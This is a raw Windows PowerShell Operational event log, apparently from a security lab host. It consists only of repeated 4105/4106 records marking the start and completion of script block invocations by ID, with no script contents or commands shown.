SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045911
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045909
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045908
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045891
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045885
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
